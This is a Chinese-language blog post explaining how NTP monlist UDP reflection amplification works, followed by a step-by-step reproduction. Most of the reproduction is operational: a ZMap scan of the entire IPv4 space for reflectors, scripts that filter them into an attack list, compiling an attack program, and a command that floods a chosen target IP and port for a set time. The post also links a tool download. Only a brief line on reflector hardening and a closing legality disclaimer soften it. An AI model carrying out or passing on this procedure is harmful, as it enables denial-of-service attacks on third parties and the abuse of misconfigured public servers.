UDP反射放大流量攻击的原理与复现


UDP反射放大攻击的原理

在 UDP 协议中正常情况下客户端发送请求包到服务端,服务端返回响应包到客户端,但是 UDP 协议是面向无连接的,所以客户端发送请求包的源 IP 很容易进行伪造,当把源 IP 修改为受害者的 IP,最终服务端返回的响应包就会返回到受害者的 IP。这就形成了一次反射攻击

反射放大攻击需要你的服务器支持发送伪造源IP的数据包

除了常见的DNS,NTP等UDP反射放大攻击类型,目前还有其他十多种UDP协议,均可以用于反射放大攻击,如:SSDP、QOTD、SNMP、CHARGEN、LDAP、MEMCACHE、WS-DISCOVERY 等。放大倍数从几倍到几万倍,其中部分协议今天仍然非常流行

下面是一部分可以进行UDP反射放大攻击的协议的反射倍率

什么是NTP协议

NTP(Network Time Protocol)网络时间协议基于UDP,用于网络时间同步的协议,使网络中的计算机时钟同步到UTC,再配合各个时区的偏移调整就能实现精准同步对时功能。提供NTP对时的服务器有很多,比如微软的NTP对时服务器,利用NTP服务器提供的对时功能,可以使我们的设备时钟系统能够正确运行

原理与复现

NTP协议中有一类查询指令,用短小的指令即可令服务器返回很长的信息

放大攻击就是基于这类指令的

标准NTP服务提供了一个monlist查询功能,也被称为MON_GETLIST,该功能主要用于监控 NTP 服务器的服务状况

当用户端向NTP服务提交monlist查询时,NTP服务器会向查询端返回与NTP服务器进行过时间同步的最后600个客户端的IP,响应包按照每6个IP进行分割,最多有100个响应包

由于NTP服务使用UDP协议,攻击者可以伪造源发地址为攻击目标的IP向NTP服务进行monlist查询,来欺骗NTP服务器向指定目标回复大量的UDP数据包

NTP服务器的运维人员可以通过在上游出口处限制UDP的123端口,彻底关闭或采取白名单策略,或修改NTP服务的配置文件关闭monitor功能来避免自身被利用成为反射器

不幸的是,互联网上存在着大量的NTP服务器,并且并不是每个NTP服务器都采取了正确的配置,有相当一部分的NTP服务器可以被攻击者利用作为反射器

在Linux系统中,使用以下命令可以对NTP服务器进行一次monlist查询,来判断NTP服务器是否可以当做反射器

ntpdc -n -c monlist <NTP服务器的IP地址>

而在正真的攻击时,我们往往扫描整个互联网中的NTP服务器,再筛选出可以充当反射器的NTP服务器,将他们制成一个列表文件(也有人叫清单文件)在攻击时使用

ZMap是一款扫描软件,由Durumeric领导密歇根大学研究团队开发。你可以以每秒140万个包的速度扫描整个IPv4地址空间,显示近40亿在线设备的信息。2014年,使用10Gbps的网卡时,5分钟就能扫描整个IPv4空间

我们需要一个探针文件来找出整个互联网中在线的NTP服务器

zmap -p 123 -M udp –probe-args=file:ntp_123_monlist.pkt -o 1.txt

这行命令代表着使用指定探针文件ntp_123_monlist.pkt来过滤出整个互联网空间中开放UDP协议123端口,运行NTP服务的主机并将他们的IP地址保存在1.txt中

整个扫描过程会持续很久

开启扫描后每秒会输出一次状态,类似以下格式

0% (1h51m left); send: 28777 562 Kp/s (560 Kp/s avg); recv: 1192 248 p/s (231 p/s avg); hits: 0.04%
0% (1h51m left); send: 34320 554 Kp/s (559 Kp/s avg); recv: 1442 249 p/s (234 p/s avg); hits: 0.04%
0% (1h50m left); send: 39676 535 Kp/s (555 Kp/s avg); recv: 1663 220 p/s (232 p/s avg); hits: 0.04%
0% (1h50m left); send: 45372 570 Kp/s (557 Kp/s avg); recv: 1890 226 p/s (232 p/s avg); hits: 0.04%

这些信息分别对应着

完成进度% (剩余时间); send: 发出包的数量 即时速率 (平均发送速率); recv: 接收包的数量 接收率 (平均接收率); hits: 命中率

扫描过程会进行很久,几小时到几天不等,具体取决于你使用的机器

推荐使用screen在后台运行zamp

扫描完成后还要进行一次过滤

给予过滤脚本权限

chmod 777 ntpchecker

进行过滤

./ntpchecker 1.txt 2.txt 1 0 1

接着格式化输出的文件

awk '$2>419{print $1}' 2.txt | sort -n | uniq | sort -R > ntpamp.txt

现在输出的ntpamp.txt就是最终的反射列表,可以进行攻击了

接着我们编译攻击所用的文件,你也可以使用我提供的编译好的版本,担心有后门可以自己编译,如果使用我提供的文件可以跳过这一步

安装编译环境

yum -y install gcc libcap libpcap libpcap-devel

编译攻击脚本

gcc -lpthread ntp.c -lpcap -o ntp

接着就可以发起攻击了

给予攻击脚本执行权限

chmod +x ntp

发起攻击

./ntp <目标IP> <端口> <ntp反射服务器列表> <线程> <pps限制器|默认-1(不限制)> <时间(秒)>

例如

./ntp 1.1.1.1 80 ntpamp.txt 100 -1 60

这个命令代表着对1.1.1.1这个IP的80端口发送60秒的攻击

点击下载所需工具

请注意任何未经授权的压力测试都是违法行为

声明:Iruko的小站|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - UDP反射放大流量攻击的原理与复现


優しい世界に 誰だって行きたいわ